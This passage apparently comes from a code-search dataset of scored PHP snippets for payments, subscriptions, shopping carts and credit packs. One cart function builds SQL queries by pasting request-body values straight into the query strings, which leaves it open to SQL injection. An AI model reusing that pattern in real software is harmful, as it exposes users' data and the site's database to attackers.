$isConID,\n\t\t\t\t\t'ActionType' => 'UPDATE',\n\t\t\t\t\t'ActionDescription' => \"Payment made for AW service\",\n\t\t\t\t\t'CreationDate' => $curdate,\n\t\t\t\t\t'ActionDate' => $curdate,\n\t\t\t\t\t'CompletionDate' => $curdate,\n\t\t\t\t\t'CreationNotes' => \"{$product->Name} Subscription\",\n\t\t\t\t\t'UserID' => 1\n\t\t\t\t);\n\t\t\t\t$app->dsAdd(\"ContactAction\", $conActionDat);\n\t\t\t\t$returnFields = array('_AWofmonths');\n\t\t\t\t$data = $app->loadCon($isConID,$returnFields);\n\t\t\t\tif(!isset($data['_AWofmonths']))\n\t\t\t\t\t$data['_AWofmonths'] = 0;\n\t\t\t\t$conDat = array(\n\t\t\t\t\t'_AWofmonths' => $data['_AWofmonths']+1,\n\t\t\t\t\t'_AttentionWizard' => 'Paid and Current'\n\t\t\t\t);\n\t\t\t\t$app->updateCon($isConID, $conDat);\n\t\t\t\t//Create a new Subscription\n\t\t\t\t$nextBillDate = $this->getSubscriptionNextBillDate($subscriptionID);\n\t\t\t\t$expireDate= date('Y-m-d H:i:s', strtotime($nextBillDate));\n\t\t\t\t$startDate= date('Y-m-d H:i:s', strtotime($expireDate. \"-30 days\"));\n\t\t\t\t$newSubscription = new Subscription();\n\t\t\t\t$newSubscription->StartDate = $startDate;\n\t\t\t\t$newSubscription->ExpireDate = $expireDate;\n\t\t\t\t$newSubscription->SubscriptionID = $subscriptionID;\n\t\t\t\t$newSubscription->Status = 1;\n\t\t\t\t$newSubscription->IsTrial = 0;\n\t\t\t\t$newSubscription->SubscriptionCount = 1;\n\t\t\t\t$newSubscription->MemberID = $member->ID;\n\t\t\t\t$newSubscription->ProductID = $newProductID;\n\t\t\t\t$newSubscription->OrderID = $orderID;\n\t\t\t\t$newSubscription->write();\n\t\t\t\t// Create a MemberCredits record\n\t\t\t\t$memberCredits = new MemberCredits();\n\t\t\t\t$memberCredits->Credits = $credits;\n\t\t\t\t$memberCredits->ExpireDate = $expireDate;\n\t\t\t\t$memberCredits->MemberID = $member->ID;\n\t\t\t\t$memberCredits->ProductID = $newProductID;\n\t\t\t\t$memberCredits->SubscriptionID = $newSubscription->ID;\n\t\t\t\t$memberCredits->write();\n\t\t\t\t// Update order\n\t\t\t\t$order->OrderStatus = 'c';\n\t\t\t\t$order->write();\n\t\t\t\t//Update old subscription status\n\t\t\t\t$subscription->Status = 0;\n\t\t\t\t$subscription->IsTrial = 0;\n\t\t\t\t$subscription->write();\n\t\t\t\t$oldProduct = $subscription->Product();\n\t\t\t\t//Send an email to the user\n\t\t\t\t$email = new Email();\n\t\t\t\t$email->setSubject(\"Your {$oldProduct->Name} Subscription Has Been Cancelled\");\n \t\t$email->setFrom('[email protected]');\n\t\t\t\t$email->setTo($member->Email);\n\t\t\t\t$email->setTemplate('CancelSubscriptionEmail');\n\t\t\t\t$email->populateTemplate(array(\n\t\t\t\t 'firstName' => $member->FirstName,\n\t\t\t \t\t'lastName' => $member->Surname\n\t\t\t\t));\n\t\t\t$email->send();\n\t\t\t}else{\n\t\t\t\t//Set the subscription to Inactive \n\t\t\t\t$this->setSubscriptionStatus($subscriptionID, 'Inactive');\n\t\t\t\t$this->setMessage('Error', 'Sorry,the payment failed,please update your credit card.');\n\t\t\t\treturn $this->redirect('/account-settings/#tabs-2');\n\t\t\t}\n\t\t}else{\n\t\t\t$this->setMessage('Error', 'Sorry,the subscription not created due to some reason.please try again.');\n\t\t\treturn $this->redirect('/account-settings/#tabs-4');\n\t\t}\n\t\t$this->setMessage('Success', 'The Subscription is changed successfully.');\n\t\treturn $this->redirect('/account-settings');\n\t}", "title": "" }, { "docid": "9be215c1b48eb41ca4940888a1cb75e5", "score": "0.5530916", "text": "function dsf_montradaCard($dsv_orderid, $dsv_creditc, $dsv_expmonth, $dsv_expyear, $dsv_cv_code, $dsv_amount){\n\n global $montrada_attempts;\n\t\n\t\n\t// we need unique numbers therefore we will add the attempts to the end of the order number\n\t\n\t// additionally, we need to prefix the order number with Country and Brand for the Accounts department in Germany\n\t\t\t\n\t$ext = dsf_format_fixed_length($montrada_attempts, 3, 'right' ,'0');\n\t$dsv_order_number = SAP_ORDER_PREFIX . $dsv_orderid . '.' . $ext;\n\t\n\t\n\t// amount needs to be sent without decimals therefore we format accordingly.\n\t$dsv_amount = number_format(($dsv_amount * 100) , 0 ,'','');\n\t\n\t// endsure there are no spaces in the card number\n\t$dsv_creditc = str_replace(array(\" \",\"-\") , '' , $dsv_creditc);\n\t\n\t// format the expiry date accordingly\n\t\n\t$dsv_expdat = dsf_format_fixed_length($dsv_expyear, 2, 'right' ,'0') . dsf_format_fixed_length($dsv_expmonth, 2, 'right' ,'0');\n\t\n\t\n\t//set up the curl\n\n $ch = curl_init();\n\tcurl_setopt($ch, CURLOPT_URL, MODULE_PAYMENT_MONTRADACC_URL);\n curl_setopt($ch, CURLOPT_FAILONERROR, 1); \n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_USERPWD, MONTRADA_CARD_USER);\n\tcurl_setopt($ch, CURLOPT_POSTFIELDS, 'orderid=' . $dsv_order_number . \n\t\t\t\t\t\t\t\t\t\t '&command=' . MODULE_PAYMENT_MONTRADACC_TXTYPE . \n\t\t\t\t\t\t\t\t\t\t '&creditc=' . $dsv_creditc . \n\t\t\t\t\t\t\t\t\t\t '&expdat=' . $dsv_expdat . \n\t\t\t\t\t\t\t\t\t\t '&cvcode=' . $dsv_cv_code . \n\t\t\t\t\t\t\t\t\t\t '&currency=' . DEFAULT_CURRENCY .\n\t\t\t\t\t\t\t\t\t\t '&amount=' . $dsv_amount);\n\t$response = curl_exec($ch);\n $curlError = curl_error($ch);\n $curlErno = curl_errno($ch);\n curl_close($ch);\n\t\n\t// montrada attempts needs to add one for counter \n\t\t\t\t\t\t$montrada_attempts ++;\n\t// re-save the session variable.\n\t\t\t\t\t\tdsf_session_unregister('montrada_attempts');\n\t\t\t\t\t\tdsf_session_register('montrada_attempts');\n\t\n\t\n\t// strip any details in the response and put it into an array\n\t$response_array = dsf_processMontradaReturn($response);\n\t\n\t// now make a new array with both this response and any curl errors\n\t// that way if we have nothing in response_array we can see why.\n\t\n\t$return_array = array('error_number' => $curlErno,\n\t\t\t\t\t\t 'error_text' => $curlError,\n\t\t\t\t\t\t 'response' => $response_array);\n\t\t\t\t\t\t \n\t\n\treturn $return_array;\n\t\n}", "title": "" }, { "docid": "57f7d16c4e0997a846fc4a8ff71bf4f4", "score": "0.5529271", "text": "public function buy($id)\n {\n $this->data['Package'] = Package::find($id);\n $this->data['Club_100'] = null;\n if($this->data['Package']->package_is_promo == 0)\n {\n $this->data['Club_100'] = Txn::where('txn_client_id', Auth::User()->client_id)->where('txn_status', 1)->join('tbl_package', 'tbl_package.package_id', 'tbl_transaction.txn_package_id')->where('package_main', 1)->first();\n }\n $this->data['Package_id'] = $id;\n $this->data['HasPromoCode'] = false;\n\n // Disable club_100 dicount on 12.12 discount\n if($id == 18){ $this->data['Club_100'] = null; }\n \n return view('front.member.package.promocode', $this->data);\n }", "title": "" }, { "docid": "0578018b310c37cbb2866264939a7376", "score": "0.55292296", "text": "public function postGettransactionbyidsAction(Request $request) {\n //Code start for getting the request\n $freq_obj = $request->get('reqObj');\n $fde_serialize = $this->decodeObjectAction($freq_obj);\n \n /** get entity manager object **/\n $em = $this->get('doctrine')->getManager();\n \n \n if (isset($fde_serialize)) {\n $de_serialize = $fde_serialize;\n } else {\n $de_serialize = $this->getAppData($request);\n }\n //Code end for getting the request\n\n $object_info = (object) $de_serialize; //convert an array into object.\n $data = array(); \n \n $required_parameter = array('transaction_id');\n\n //checking for parameter missing.\n $chk_error = $this->checkParamsAction($required_parameter, $object_info);\n if ($chk_error) {\n $data = array('code' => 300, 'message' => 'YOU_HAVE_MISSED_A_PARAMETER ' . $this->miss_param, 'data' => $data);\n $this->returnResponse($data);\n }\n \n $transaction_id = $object_info->transaction_id;\n \n \n /** find user object service. **/\n $user_service = $this->get('user_object.service'); \n \n \n /** get transaction records **/\n $transaction_record = $em->getRepository('PaymentPaymentProcessBundle:PaymentProcessCredit')\n ->find($transaction_id);\n \n if(count($transaction_record)>0) {\n \n $shop_id = $transaction_record->getShopId();\n $user_id = $transaction_record->getUserId();\n $user_obj = array();\n $shop_obj = array();\n $user_obj = $user_service->UserObjectService($user_id);\n $shop_obj = $user_service->getStoreObjectService($shop_id);\n /** get balance gift card value **/\n $user_credit_rec = $em\n ->getRepository('WalletManagementWalletBundle:UserShopCredit')\n ->findOneBy(array('userId'=>$user_id,'shopId'=> $shop_id)); \n\n if(count($user_credit_rec) > 0) {\n $balance_gift_card = $user_credit_rec->getBalanceGiftCard();\n }else {\n $balance_gift_card = 0;\n }\n\n $used_coupons = $this->convertAmountToInt($transaction_record->getUsedCoupons());\n $used_premium_position = $this->convertAmountToInt($transaction_record->getUsedPremiumPosition());\n $used_gift_card = $this->convertAmountToInt($transaction_record->getUsedGiftCard());\n $used_momosy_card = $this->convertAmountToInt($transaction_record->getUsedMomosyCard());\n $used_remaining_gift_cards = $transaction_record->getUsedRemainingGiftCards();\n $remaining_gift_cards = $transaction_record->getRemainingGiftCards();\n $total_used = ($used_coupons + $used_premium_position + $used_gift_card + $used_momosy_card +$used_remaining_gift_cards - $remaining_gift_cards); //all used cards amount\n\n $balance_amount = 0;\n $total_amount = $this->convertAmountToInt($transaction_record->getTotalAmount()); \n $balance_amount = $total_amount - $total_used;\n\n $gift_card_arr = unserialize($transaction_record->getGiftCardPacketData());\n $gift_card_packet = array();\n if(count($gift_card_arr)>0) {\n// $gift_card_packet = array_map(function($gift_card_arr_rec) {\n// return \"{$this->converToEuro($gift_card_arr_rec)}\";\n// }, $gift_card_arr);\n foreach($gift_card_arr as $gift_card_arr_rec) {\n $gift_card_packet[] = \"{$this->converToEuro($gift_card_arr_rec)}\";\n }\n }\n\n $transaction_id = $transaction_record->getId();\n //call service method\n $transaction_obj = $this->container->get('payment_payment_process.transaction_manager');\n $transaction_data_response = $transaction_obj->getTransactionObject($transaction_id);\n \n $data= $transaction_data_response;\n \n }\n \n $data = array('code' => 101, 'message' => 'SUCCESS', 'data' =>$data);\n $this->returnResponse($data);\n }", "title": "" }, { "docid": "d9f38064d74622db81bad5b7f18e944f", "score": "0.5526067", "text": "function tbx_cart_edititam(Request $request, Response $response)\n\t{\n\t\t$res = array( 'message_code' => 999, 'message_text' => 'Functional part is commented.' );\n\n\t\t$db = database();\n\t\t$body = $request->getParsedBody();\n\t\t$registrationid = $body['RegistrationId'];\n\t\t$productid = $body['ProductId'];\n\t\t$action = $body['Action'];\n\t\t\n\t if (($registrationid == null) || ($registrationid==\"\"))\n\t\t\t$res = array( 'message_code' => 999, 'message_text' => 'User id cannot be blank.');\n\t\telse if (($productid == null) || ($productid==\"\"))\n\t\t\t$res = array( 'message_code' => 999, 'message_text' => 'Product id cannot be blank.');\n\t\telse if (($action == null) || ($action==\"\"))\n\t\t\t$res = array( 'message_code' => 999, 'message_text' => 'Please Click on plus or minus sign.');\n\t\telse\n\t\t{\n\t\t\t$base_query = 'SELECT COUNT(*) AS count, SUM(Quantity) as Quantity FROM `tbl_cart` WHERE RegistrationId = \"'.$registrationid.'\" AND ProductId= \"'.$productid.'\" GROUP BY ProductId';\n\t\t\t$result = $db->get_row($base_query);\n\t\t\tif (!isset($result))\n\t\t\t{\n\t\t\t\tif ($action == \"+\")\n\t\t\t\t{\n\t\t\t\t\t$result = ' INSERT INTO `tbl_cart` (RegistrationId, ProductId, Quantity) VALUES(\"'.$registrationid.'\",\"'.$productid.'\" , \"1\") ';\n\t\t\t\t\t$base = $db->query($result);\n\t\t\t\t\t$res = array( 'message_code' => 1000,'data_text'=>$base);\n\t\t\t\t}\n\t\t\t}\t\n\t\t\telse if($result->count == 0 && $action == \"+\")\n\t\t\t{\n\t\t\t\t$result = ' INSERT INTO `tbl_cart` (RegistrationId, ProductId, Quantity) VALUES(\"'.$registrationid.'\",\"'.$productid.'\" , \"1\") ';\n\t\t\t\t$base = $db->query($result);\n\t\t\t\t$res = array( 'message_code' => 1000,'data_text'=>$base);\n\t\t\t}\n\t\t\telseif($result->count == 0 && $action == \"-\")\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$res = array( 'message_code' => 1000,'message_text'=>\"Product quantity is zero.\");\n\t\t\t}\n\t\t\telseif($result->Quantity == 1 && $action == \"-\")\n\t\t\t{\n\t\t\t\t$result = 'DELETE FROM `tbl_cart` WHERE RegistrationId = \"'.$registrationid.'\" AND ProductId= \"'.$productid.'\" ';\n\t\t\t\t$base_query = $db->query($result);\n\t\t\t\t$res = array( 'message_code' => 1000,'data_text'=>$base_query);\n\t\t\t}\n\t\t\telseif($result->count == 1 && $action == \"+\")\n\t\t\t{\n\t\t\t\t$result = 'UPDATE `tbl_cart` SET Quantity = \"'. ($result->Quantity + 1) .'\" WHERE RegistrationId = \"'.$registrationid.'\" AND ProductId= \"'.$productid.'\" ';\n\t\t\t\t$base_query = $db->query($result);\n\t\t\t\t$res = array( 'message_code' => 1000,'data_text'=>$base_query);\n\t\t\t}\n\t\t\telseif($result->count == 1 && $action == \"-\")\n\t\t\t{\n\t\t\t\t$result = 'UPDATE `tbl_cart` SET Quantity = \"'. ($result->Quantity - 1) .'\" WHERE RegistrationId = \"'.$registrationid.'\" AND ProductId= \"'.$productid.'\" ';\n\t\t\t\t$base_query = $db->query($result);\n\t\t\t\t$res = array( 'message_code' => 1000,'data_text'=>$base_query);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$res = array( 'message_code' => 999, 'message_text' => 'Somthing went wrong!. please try again.' );\n\t\t\t}\n\t\t\t\n\t\t\t$result = ' SELECT tp.ProductId,tp.ProductName, tp.ProductImage,tc.Quantity, tp.Rate, (tp.Rate * tc.Quantity) as TotalAmount FROM `tbl_product` AS tp , `tbl_cart` AS tc WHERE tc.ProductId = tp.ProductId and tc.ProductId = \"'.$productid.'\" AND tc.RegistrationId= \"'.$registrationid.'\" ';\n\t\t\t$result = $db->get_results($result);\n\t\t\tif (!isset($result))\n\t\t\t\t$res = array( 'message_code' => 1000,'message_text'=>\"Product quantity is zero.\");\n\t\t\telse\n\t\t\t\t$res = array( 'message_code' => 1000,'data_text'=>$result);\n\t }\n\t\treturn $response->withJson( $res, 200 );\n\t}", "title": "" }, { "docid": "d0a61c7128d6b8795083e5fa65fede48", "score": "0.551892", "text": "function sopac_put_request_link( $bnum ) {\n global $user;\n profile_load_profile( &$user );\n\n if ( $user->uid ) {\n if ( sopac_bcode_isverified( &$user ) ) {\n // User is logged in and has a verified card number\n if ( variable_get( 'sopac_multi_branch_enable', 0 ) ) {\n $form = drupal_get_form( 'sopac_multibranch_hold_request', $bnum );\n return $form;\n }\n else {\n $link = l( t( 'Request this item' ), variable_get( 'sopac_url_prefix', 'cat/seek' ) . '/request/' . $bnum );\n }\n }\n elseif ( $user->profile_pref_cardnum ) {\n // User is logged in but does not have a verified card number\n $link = l( t( 'Verify your card to request this item' ), 'user/' . $user->uid );\n }\n else {\n // User is logged in but does not have a card number.\n $link = l( t( 'Register your card to request this item' ), 'user/' . $user->uid );\n }\n }\n else {\n $link = l( t( 'Please log in to request this item' ), 'user/login', array( 'query' => drupal_get_destination() ) );\n }\n\n return $link;\n}", "title": "" }, { "docid": "7637c8c20c838293df137b13224192c0", "score": "0.5511981", "text": "public function chargeRequester() {\n $active_request_id = $this->getActiveRequest();\n\n if ( empty($active_request_id) ) {\n return false;\n }\n\n $request = $this->requestsobj->findByPk( $active_request_id );\n \n if ( empty($request) ) {\n return false;\n }\n\n $accepter_play_id = $request->confirmed_respondent;\n\n if (\n !isset($this->varcontent[$this->tip_var]) OR\n !isset($this->varcontent[$this->tip_var_with_fee]) OR\n empty($this->varcontent[$this->tip_var]) OR\n empty($this->varcontent[$this->tip_var_with_fee])\n ) {\n return false;\n }\n\n $tip = $this->varcontent[$this->tip_var];\n $tip_with_fee = $this->varcontent[$this->tip_var_with_fee];\n\n // Calculate the new sums -> this is where the magic happens\n $wallet_requester = $this->wallet->getWallet();\n $current_requester_sum = $wallet_requester->funds_raw;\n $new_requester_sum = $current_requester_sum - $tip;\n\n $wallet_accepter = $this->wallet->getWallet( $accepter_play_id );\n $current_accepter_sum = $wallet_accepter->funds_raw;\n $new_accepter_sum = $current_accepter_sum + $tip_with_fee;\n\n // Add the tracking record\n $this->wallet_track->request_id = $active_request_id;\n $this->wallet_track->sum_requester_before = $current_requester_sum;\n $this->wallet_track->sum_requester_after = $new_requester_sum;\n $this->wallet_track->sum_accepter_before = $current_accepter_sum;\n $this->wallet_track->sum_accepter_after = $new_accepter_sum;\n $this->wallet_track->sum_admin = $tip - $tip_with_fee;\n $this->wallet_track->insert();\n\n // Update the users wallets\n $this->wallet->updateWallet( $new_requester_sum );\n $this->wallet->updateWallet( $new_accepter_sum, $accepter_play_id );\n\n return true;\n }", "title": "" }, { "docid": "f9417b379a93ab07906834d9647a9ae1", "score": "0.5507749", "text": "public function pay($request)\n {\n }", "title": "" }, { "docid": "e778ddff63829dc9740cefa4852f765f", "score": "0.5494921", "text": "function gb_insert_payment( $entry, $action ) {\n\n\t$total_amount = rgar( $entry, '2' );\n\t$processed = rgar( $entry, 'payment_amount' );\n\t$total_fees = $processed - $total_amount;\n\n\t$payment_id = gb_insert_transaction(\n\t\tarray(\n\t\t\t'description' => 'Payment ID: ' . $action['transaction_id'],\n\t\t\t'amount' => $total_amount,\n\t\t\t'due_date' => false,\n\t\t\t'paid_date' => current_time( 'mysql' )\n\t\t)\n\t);\n\n\treturn $payment_id;\n}", "title": "" }, { "docid": "bb247fa3667d796d6e43d8477c3a659d", "score": "0.5484483", "text": "function createRandomTransaction(Card $card) {\n $balance = $card->balance();\n if($balance < 5) return; // do nothing if balance is less than $5\n \n // Get the transfer amount. It will always be between $3 and min(account_balance, $500)\n $tnxAmount = -1 * rand(300, (int) (min($balance, 500) * 100.0)) / 100.0;\n \n try {\n // 90% chance it's a purchase!\n if(rand(0,100) < 90) {\n echo \"Creating random purchase of $$tnxAmount for card #{$card->id}\\n\";\n $card->createTransaction('purchase', $tnxAmount, 'General purchase', getRandomMerchant());\n } else {\n echo \"Making an ATM withdrawl of $$tnxAmount and an ATM fee of $2 for card #{$card->id}\\n\";\n $card->createTransaction('atm', $tnxAmount, 'ATM Withdrawl');\n $card->createTransaction('atm_fee', -2.00, 'ATM Withdrawl Fee');\n }\n } catch (Exception $e) {\n echo \"Exception when making transaction: \" . $e->getMessage() . \"\\n\";\n echo $e;\n }\n}", "title": "" }, { "docid": "86a342006260ccea776a14449d2ed024", "score": "0.5484236", "text": "public function createCharge(PLRequest $request)\n {\n \\Conekta::setApiKey($this->api_key);\n $person = null;\n $person = null;\n $charge = null;\n\n \\Log::info(\"=== Creating card charge ===\");\n \\Log::info(\"=== Searching person ===\");\n try{$person = $this->_personRepository->byId($request->get('person_id')); }\n catch(\\Exception $ex){ throw new \\Exception(\"Unable to find person\", -1); }\n \\Log::info(\"=== Person : \".$person.\"===\");\n\n \\Log::info(\"=== Searching moneybox ===\");\n try{$moneybox = $this->_moneyboxRepository->byId($request->get('moneybox_id')); }\n catch(\\Exception $ex){ throw new \\Exception(\"Unable to find moneybox\", -1); }\n \\Log::info(\"=== Moneybox : \".$moneybox.\"===\");\n\n try {\n\n $total_amount = $request->get('amount')+$request->get('commission');\n \\Log::info(\"=== creating charge by $ \".$total_amount.\" ===\");\n $this->charge = \\Conekta_Charge::create(array(\n 'description'=> 'Nueva Coperacha',\n 'reference_id'=> $this->generate_uid(),\n 'amount'=> $this->toCents($total_amount),\n 'currency'=>'MXN',\n 'card' => $request->get('token'),\n 'details'=> array(\n 'name'=> $person->name.\" \".$person->lastname,\n 'phone'=> ($person->phone != \"\") ? $person->phone : \"525555555555\", // todo : quit hardcode\n 'email'=> $person->user->email,\n 'line_items'=> array(\n array(\n 'name'=> 'Participación en alcancía - '.$moneybox->name,\n 'description'=> 'Participacion en alcancía',\n 'unit_price'=> $this->toCents($total_amount),\n 'quantity'=> 1,\n )\n ),\n )\n ));\n\n } catch(\\Exception $ex) {\n \\Log::info(\"=== Unexpected error in Conekta API call ===\");\n throw $ex;\n }\n\n return $this->charge;\n }", "title": "" }, { "docid": "4a6397cf85288a0ba43d6db771786f6c", "score": "0.5483945", "text": "public function buy()\n {\n try {\n $info = Input::all();\n $current = date('Y-m-d H:i:s');\n if(!empty($info['cardholder']) && !empty($info['address']) && !empty($info['city']) && !empty($info['email'])\n && !empty($info['country']) && !empty($info['region']) && !empty($info['zip']) && !empty($info['x_token']) && !empty($info['s_token']))\n {\n //get all items in shoppingcart\n $shoppingcart = Shoppingcart::calculate_session($info['s_token'],true);\n if(!$shoppingcart['success'])\n return Util::json($shoppingcart);\n if(!count($shoppingcart['items']) || !$shoppingcart['quantity'])\n return Util::json(['success'=>false, 'msg'=>'There are no items to buy in the Shopping Cart.']);\n //remove unavailable items from shopingcart\n foreach($shoppingcart['items'] as $key=>$item)\n if($item->unavailable)\n unset($shoppingcart['items'][$key]);\n //check if it has to pay for the items or there are free\n if($shoppingcart['total']>0)\n if(empty($info['card']) || empty($info['month']) || empty($info['year']) || empty($info['cvv']))\n return Util::json(['success'=>false, 'msg'=>'There is no payment method for your items.']);\n //checking the email\n $info['email'] = trim(strtolower($info['email']));\n if(!filter_var($info['email'], FILTER_VALIDATE_EMAIL))\n return ['success'=>false, 'msg'=>'Enter a valid email address.'];\n //check the correct name\n $info['cardholder'] = explode(' ',ucwords(trim($info['cardholder'])),2);\n $info['first_name'] = $info['cardholder'][0];\n $info['last_name'] = $info['cardholder'][1];\n //set up customer\n $client = User::customer_set($info, $current);\n if(!$client['success'])\n return Util::json($client);\n //check payment type, if not free tickets\n if($shoppingcart['total']>0)\n {\n //make transaction\n $transaction = Transaction::usaepay($client,$info,$shoppingcart,$current);\n //remove hide credit card number\n $info['card'] = '...'.substr($info['card'], -4);\n if(!$transaction['success'])\n return Util::json($transaction);\n $shoppingcart['transaction_id'] = $transaction['transaction_id'];\n $shoppingcart['payment_type'] = 'Credit';\n }\n //save purchase\n $purchase = Purchase::purchase_save($info['s_token'], $client, $shoppingcart, $current, true);\n if(!$purchase['success'])\n return Util::json($purchase);\n if(count($purchase['errors']))\n {\n $html = '<b>Customer:<b><br>'.json_encode($info,true).'<br><br>';\n $html.= '<b>Items:<b><br>'.json_encode($shoppingcart,true).'<br><br>';\n $html.= '<b>Purchases ID success:<b><br>'.implode(',',$purchase['ids']).'<br><br>';\n $html.= '<b>ShoppingCart ID error:<b><br>'.implode(',',$purchase['errors']).'<br><br>';\n $email = new EmailSG(null,env('MAIL_APP_ADMIN','[email protected]'),'TicketBat App - Purchase Error');\n $email->html($html);\n $email->send();\n }\n if(!count($purchase['ids']))\n return Util::json(['success'=>false, 'msg'=>'The system could not save your purchases correctly!<br>Please contact us.']);\n //send receipts\n $receipts=[];\n foreach ($purchase['ids'] as $id)\n {\n $p = Purchase::find($id);\n if($p) $receipts[] = $p->get_receipt();\n }\n $sent = Purchase::email_receipts('TicketBat Purchase',$receipts,'receipt',null,true);\n if($sent)\n return Util::json(['success'=>true, 'msg'=>'We sent you a receipt by email.<br>You can also see the purchases and the tickets in Profile -> My Purchases.']);\n return Util::json(['success'=>true, 'msg'=>'We could not send you a receipt by email.<br>You can see the purchases and the tickets int Profile -> My Purchases.']);\n }\n return Util::json(['success'=>false, 'msg'=>'Fill the form out correctly!']);\n } catch (Exception $ex) {\n $html = '<b>Exception:<b><br>'. strval($ex).'<br>';\n $email = new EmailSG(null,env('MAIL_APP_ADMIN','[email protected]'),'TicketBat App - Sell Error');\n $email->html($html);\n $email->send();\n return Util::json(['success'=>false, 'msg'=>'There is an error with the server!']);\n }\n }", "title": "" }, { "docid": "bdbbce4f04d3498b1bcc96b7e7ca9be2", "score": "0.5473738", "text": "private function paying($request) {\n // $form_data = $this->se\n // $validator = Validator::make([], []);\n\n if (!$this->current_user) {\n $validator->errors()->add('user', 'Có lỗi xảy ra, phiên đăng nhập hết hạn');\n goto responseArea;\n }\n $UserInfo = $this->load_user();\n if ($UserInfo == null) {\n $validator->errors()->add('user', 'Lỗi xử lý dữ liệu người dùng, thao tác thất bại.');\n goto responseArea;\n }\n\n $cart_sum = \\App\\Bcore\\Services\\OrderService::cartSum();\n $PAID = false;\n\n switch ($form_data['httt']) {\n case '993da28babb425eca88aca91184c752e': // Thanh toán sau khi nhận hàng\n $PAID = true;\n break;\n case '07d5b024ba9a8a78210f3df6f07db0fe': // Thanh toán bằng ví\n if (\\App\\Bcore\\Services\\UserService::pay($cart_sum)) {\n // Event notification\n $PAID = true;\n } else {\n $state = false;\n $message = 'Không thể thanh toán, số tiền trong ví không đủ để thực hiện giao dịch.';\n goto responseArea;\n }\n break;\n case '97b01ce40e54ca5bc2c9da5e2ad58e75': // Thanh toán bằng thẻ ngân hàng\n break;\n default: // Hình thức thanh toán không được hỗ trợ\n }\n\n if (!$PAID) {\n $validator->errors()->add('user', 'Thanh toán thất bại, có lỗi xảy ra!');\n goto responseArea;\n }\n\n $CartModel = new \\App\\Modules\\Cart\\Models\\UserCartModel();\n $CartModel->id_user = $this->current_user->id;\n $CartModel->name = $form_data['txt_hovaten'];\n $CartModel->method = $form_data['httt'];\n $CartModel->address = $form_data['txt_diachi'];\n $CartModel->note = $form_data['txt_note'];\n $CartModel->state = 'pending';\n $r = $CartModel->save();\n $ID_CART = $CartModel->id;\n if ($r) {\n $data = \\App\\Bcore\\Services\\OrderService::generate_cartDetailModels($ID_CART);\n $r1 = DB::table('users_carts_detail')->insert($data);\n if (!$r1) {\n // Xóa đơn hàng & trả lại tiền\n $r->delete();\n $validator->errors()->add('user', 'Lỗi hệ thống, thao tác thất bại!');\n goto responseArea;\n }\n }\n $message = 'Đặt hàng thành công!';\n $url = route('mdle_cart_payment_success', $ID_CART);\n \\App\\Bcore\\Services\\OrderService::dropCart();\n responseArea:\n return response()->json([\n 'state' => $validator->passes() ? true : false,\n 'validate' => $validator->errors()->all(),\n 'message' => $message,\n 'request' => $form_data,\n 'redirect' => @$url,\n 'redirect_delay' => 1 * 3000\n ]);\n }", "title": "" }, { "docid": "e3ea07349c18d4858efb762588030c31", "score": "0.54671645", "text": "function ovr_before_creating_appointment(){\r\n\tif( isset($_POST['use_packk']) && $_POST['use_packk'] == 'yes' ){\r\n\t\t$response = ['error' => false];\r\n\r\n\t\tif( get_current_user_id() == $_POST['user_id'] ) {\r\n\t\t\t/*if( isset($_POST['paid-service-label---10424047']) ){\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---10424047']; // Underground Boxing\r\n\t\t\t}else{\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---3249416']; // Ring Work\r\n\t\t\t}*/\r\n\r\n\t\t\tif( isset($_POST['paid-service-label---10424047']) ){\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---10424047']; // Underground Boxing NK\r\n\t\t\t}else if(isset($_POST['paid-service-label---3249416'])){\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---3249416']; // Ring Work NK\r\n\t\t\t}else if(isset($_POST['paid-service-label---1979666'])){\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---1979666']; // Underground Boxing BK\r\n\t\t\t}else if(isset($_POST['paid-service-label---8834967'])){\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---8834967']; // Ring Work BK\r\n\t\t\t}else{\r\n\t\t\t\t$fwc_product_id = $_POST['paid-service-label---3249416']; // Ring Work\r\n\t\t\t}\r\n\r\n\r\n\t\t\t$_fwc_credit_purchase = get_post_meta( $fwc_product_id, '_fwc_credit_purchase', true );\r\n\r\n\t\t\tif( $_fwc_credit_purchase == 'yes' ){\r\n\t\t\t\t$fwc_pro_cvalue = get_post_meta( $fwc_product_id, 'fwc_credit_value', true );\r\n\r\n\t\t\t\t$fwc_user_camount = get_user_meta( get_current_user_id(), 'fwc_total_credit_amount', true );\r\n\r\n\t\t\t\tif( $fwc_pro_cvalue > 0 && ($fwc_user_camount >= $fwc_pro_cvalue) ){\r\n\t\t\t\t\t$fwc_effective_user_camount = $fwc_user_camount - $fwc_pro_cvalue;\r\n\r\n\t\t\t\t\tupdate_user_meta(get_current_user_id(), 'fwc_total_credit_amount', $fwc_effective_user_camount);\r\n\r\n\t\t\t\t\t$needed_keys = array (\r\n\t\t\t\t\t\t'action' => 'booked_add_appt',\r\n\t\t\t\t\t\t'appoinment' => 0,\r\n\t\t\t\t\t\t'calendar_id'\t=> 370,\r\n\t\t\t\t\t\t'customer_type' => 'current',\r\n\t\t\t\t\t\t'date' => '2017-01-20',\r\n\t\t\t\t\t\t'is_fe_form' => true,\r\n\t\t\t\t\t\t'timeslot' => '0615-0715',\r\n\t\t\t\t\t\t'timestamp' => 1484892900,\r\n\t\t\t\t\t\t'user_id'\t=> 513,\r\n\t\t\t\t\t\t'use_packk' => 'yes'\r\n\t\t\t\t\t);\r\n\r\n\t\t\t\t\tforeach ($_POST as $key => $value) {\r\n\t\t\t\t\t\tif( $needed_keys[$key] ) {\r\n\t\t\t\t\t\t //do nothing\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\tunset($_POST[$key]);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tovr_custom_orders_using_class_packs($fwc_product_id);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$response['error'] = 'Insufficient Credit';\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$response['error'] = 'Class not allowed to book with 